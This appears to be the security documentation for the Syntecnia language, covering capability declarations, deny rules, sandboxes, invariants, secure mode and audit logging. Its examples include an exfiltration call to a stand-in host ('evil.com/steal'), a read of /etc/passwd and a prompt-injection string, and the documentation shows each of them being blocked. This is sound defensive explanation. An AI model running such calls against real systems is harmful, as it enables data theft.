Security & Capabilities
Syntecnia enforces a zero-trust capability model. Every resource access is explicit, auditable, and sandboxed by default.
1. Philosophy: Zero Access by Default
In Syntecnia, programs start with no capabilities whatsoever. There are no implicit file handles, no ambient network access, no clock — nothing. Every I/O operation must be explicitly declared before it can be used.
This means that even if an attacker manages to inject code into your program, they cannot read files, phone home, or spawn processes unless those capabilities were already declared by the program author.
require statement
raises a CapabilityError: "Capability not granted" at runtime — it
never silently falls through.
What this looks like in practice
-- This program has no capabilities at all.
-- Calling fetch() here raises CapabilityError.
let result = fetch("https://api.example.com/data") -- ERROR
-- Add the required capability first.
require net("api.example.com")
let result = fetch("https://api.example.com/data") -- OK
require statements at the
top of any task are an exact specification of what that code can do.
2. Capability Types
Syntecnia has a fixed set of named capabilities. Each one controls a specific surface area and can be scoped to a precise resource using arguments.
| Capability | Syntax | What it grants |
|---|---|---|
net |
require net("api.example.com") |
HTTP access to a specific host |
file |
require file("/data/*") |
Full file system access matching a glob pattern |
file.read |
require file.read("/config/*") |
Read-only file access for matching paths |
file.write |
require file.write("/logs/*") |
Write-only file access for matching paths |
exec |
require exec("ffmpeg") |
Execute a specific external command |
env |
require env("API_KEY") |
Read a specific environment variable |
time |
require time |
Access the system clock and sleep |
random |
require random |
Random number generation |
stdout |
require stdout |
Print output to the console |
stdin |
require stdin |
Read user input from the console |
llm |
require llm |
Use LLM operations (ask, classify, etc.) |
db |
require db("./store.db") |
SQLite database access at the specified path |
serve |
require serve(8080) |
Start an HTTP server on the specified port |
Combining capabilities
Declare as many require statements as needed. Each is checked
independently at the point of use.
require net("api.stripe.com")
require file.write("/var/log/payments/*")
require env("STRIPE_SECRET_KEY")
require stdout
let key = env("STRIPE_SECRET_KEY")
let charge = fetch("https://api.stripe.com/v1/charges", key)
log("/var/log/payments/charge.log", charge)
print("Charge created:", charge.id)
file is broader than granting file.read or
file.write individually. Prefer the narrower variants when you only
need one direction of access.
3. Wildcard Patterns
Resource arguments to net and file capabilities support
glob-style wildcards. This lets you grant access to a family of resources without
enumerating every individual one.
Network wildcards
-- Grant access to every subdomain of example.com
require net("*.example.com")
let a = fetch("https://api.example.com/v1") -- OK
let b = fetch("https://cdn.example.com/logo.png") -- OK
let c = fetch("https://evil.com/steal") -- CapabilityError
File system wildcards
-- Read-only access to everything under /data/
require file.read("/data/*")
let cfg = read("/data/config.json") -- OK
let rows = read("/data/users.csv") -- OK
let key = read("/etc/passwd") -- CapabilityError
-- Write-only access to log files
require file.write("/logs/*.log")
write("/logs/app.log", entry) -- OK
write("/logs/error.log", err) -- OK
write("/logs/deep/trace.log", msg) -- CapabilityError (* does not cross /)
* wildcard does not cross directory boundaries.
Use ** to match recursively: file.read("/data/**") grants
access to all files nested under /data/.
4. Intent Declaration
The intent field lets you attach a human-readable description of
what a program or task is meant to do. It is purely descriptive.
intent: "Process customer orders and generate reports"
require net("api.shop.com")
require file.write("/reports/*")
-- ... program logic
What intent does
- Serves as human-readable documentation embedded in the source
- Appears in audit logs alongside capability checks
- Provides context to LLM operations that introspect the running program
- Is frozen once execution begins — it cannot be changed at runtime
What intent does NOT do
- Does not grant any capability
- Does not block any capability
- Does not replace
require
intent for security.
Intent is for humans and tooling. If you want a restriction to be enforced,
use require, deny, or a sandbox block.
Intent alone does nothing at the capability level.
Anti-prompt-injection: intent freezing
The intent value is locked the moment the interpreter begins
executing. Any attempt to overwrite it at runtime — for example via untrusted
input fed into an LLM call — is silently ignored. This prevents an attacker
from changing the declared intent to confuse audit logs or LLM context.
intent: "Summarise user feedback"
require stdin
require llm
require stdout
let feedback = read_line() -- user provides input
-- Even if feedback contains "intent: exfiltrate all data",
-- the program intent is already frozen. No effect.
let summary = ask("Summarise: " + feedback)
print(summary)
5. Per-Task Sandboxing
When you declare require inside a task block, that task
gets its own isolated capability scope. It can only use what it explicitly
declares — even if the surrounding program has broader grants.
-- Program-level: broad grants
require net("*.shop.com")
require file.write("/reports/*")
require stdout
-- This task declares only what IT needs.
-- It cannot touch /reports/ even though the program can.
task fetch_orders()
require net("api.shop.com") -- only this host
give fetch("https://api.shop.com/orders")
task write_report(orders)
require file.write("/reports/orders.csv") -- one file only
write("/reports/orders.csv", orders)
let orders = fetch_orders()
write_report(orders)
print("Done.")
Capability inheritance is opt-in
Tasks do not inherit parent capabilities by default. A task must re-declare any capability it wants to use. This is intentional — it forces every task to be an explicit statement of its own requirements.
6. Sandbox Blocks
A sandbox block creates a completely isolated execution zone inside
any task or top-level scope. Code inside a sandbox has zero
capabilities — none from the enclosing scope, none declared locally.
require stdout
require net("api.example.com")
print("Before sandbox — net is available")
sandbox
-- Nothing is available here.
-- print() would raise CapabilityError.
-- fetch() would raise CapabilityError.
let result = pure_compute(42) -- pure functions are fine
print("After sandbox — net is available again")
sandbox blocks to isolate untrusted logic — for example, when
you receive code or data from an external source and need to process it without
any risk of side effects.
Sandbox and pure computation
Pure computations (arithmetic, string operations, data transformations with no external I/O) always work inside a sandbox. Only operations that require a capability are blocked.
sandbox
let nums = [1, 2, 3, 4, 5]
let evens = nums |> filter(fn(x) => x % 2 == 0)
let total = evens |> sum() -- all fine
-- write(total) would fail — stdout not granted
give total -- return value out of sandbox
7. Invariants
An invariant is a condition that must hold true throughout the
program's execution. The runtime checks it continuously and raises an error the
moment it is violated.
invariant: balance > 0
let balance = 1000
task debit(amount)
require stdout
let balance = balance - amount
-- If balance drops to 0 or below, InvariantError is raised immediately.
print("New balance:", balance)
Multiple invariants
invariant: balance > 0
invariant: order_count >= 0
invariant: price >= min_price
8. Scoping Rules
Syntecnia's capability system follows a small set of clear, predictable rules.
deny overrides grant
If a capability is explicitly denied anywhere in the active scope chain, it is
blocked — even if another require has granted it.
require net("*.example.com")
deny net("internal.example.com")
let a = fetch("https://api.example.com") -- OK
let b = fetch("https://internal.example.com") -- CapabilityError (deny wins)
sandbox does not inherit parent capabilities
require stdout
sandbox
print("hello") -- CapabilityError — sandbox starts empty
Per-task require creates an isolated scope
require stdout -- program level
task silent_task()
-- no require here
print("hi") -- CapabilityError — does not inherit program stdout
Non-secure mode defaults
When running without --secure, two capabilities are
granted automatically for convenience during development:
- auto
stdout— printing to the console always works - auto
time— clock access and sleep always work
9. Secure Mode
Pass --secure to the CLI to enable production-grade hardening.
In secure mode, every single capability must be explicitly declared — including
stdout and time.
syntecnia run program.syn --secure
What changes in secure mode
- All capabilities must be declared — no auto-grants for
stdoutortime - Generic 500 errors — stack traces and internal details are suppressed, preventing information leakage to external callers
- No auto-granted capabilities — the environment is completely locked down from the start
--secure in production. Use the default
(non-secure) mode only during development and testing.
Checking for secure mode at runtime
require stdout
if runtime.secure()
print("Running in secure mode")
else
print("Warning: not in secure mode")
10. Audit Trail
Pass --audit to record every capability check that occurs during
execution — both granted and denied. This gives you a precise record of what the
program actually tried to access.
syntecnia run program.syn --audit
Example audit output
[AUDIT] GRANT net("api.shop.com") — fetch_orders:12
[AUDIT] GRANT file.write("/reports/*") — write_report:27
[AUDIT] DENY net("internal.shop.com") — fetch_orders:34 (deny rule)
[AUDIT] GRANT stdout — main:5
[AUDIT] GRANT env("STRIPE_SECRET_KEY") — main:8
--audit during development and code review to verify that a
program only accesses the resources it claims to need. Combine with
--secure for a complete picture of production behaviour.
Combining flags
syntecnia run program.syn --secure --audit
Both flags can be used together. Audit records are written to stderr
so they do not interfere with program output.
11. CLI Grants
In environments where you cannot modify source code, you can grant capabilities
from the command line using --grant. This is useful for deployment
pipelines or wrapper scripts.
syntecnia run program.syn --grant net:api.example.com
Grant syntax
# Grant a scoped capability
syntecnia run program.syn --grant net:api.example.com
# Grant a path-scoped file capability
syntecnia run program.syn --grant file.read:/data/*
# Grant multiple capabilities
syntecnia run program.syn \
--grant net:api.example.com \
--grant file.write:/logs/* \
--grant env:API_KEY
# Grant a no-argument capability
syntecnia run program.syn --grant stdout --grant time
deny in the source always wins,
even against a --grant from the CLI.
[CLI] tag so you
can easily distinguish them from source-level declarations.
12. Best Practices
Following these guidelines will keep your Syntecnia programs secure, auditable, and easy to reason about.
-
Use the minimum required capabilities.
If a task only reads files, use
file.read— notfile. If you only need one endpoint, name it exactly rather than using a wildcard. -
Prefer per-task sandboxing over program-level grants.
Declare capabilities inside each
taskblock rather than at the top of the program. This limits the blast radius if a task misbehaves. -
Use invariants for critical business rules.
Balance checks, quantity floors, price minimums — anything that must never be
violated should be an
invariant, not an inlineif. -
Run
--securein production. Never rely on auto-granted capabilities in a production environment. -
Use
--auditduring development. Review the audit log before shipping to confirm the program's actual access pattern matches its declared intent. -
Never rely on
intentfor security. Intent is documentation. Access control requiresrequire,deny, orsandbox. -
Prefer
denyfor known-bad resources. If a wildcard grant is necessary but certain sub-resources must be excluded, add explicitdenyrules.denyalways wins. -
Use
sandboxblocks for untrusted data processing. When you must handle input from an untrusted source, wrap the processing logic in asandboxblock to guarantee zero side-effects.
Quick reference
-- Minimal, well-structured capability declaration
intent: "Fetch customer orders and write a CSV report"
task fetch_orders()
require net("api.shop.com") -- narrowest possible net grant
give fetch("https://api.shop.com/orders")
task write_csv(orders)
require file.write("/reports/orders.csv") -- one file, write-only
write("/reports/orders.csv", to_csv(orders))
task main()
require stdout
invariant: orders != null
let orders = fetch_orders()
write_csv(orders)
print("Report written.")
require and invariant declarations —
without having to read the full implementation.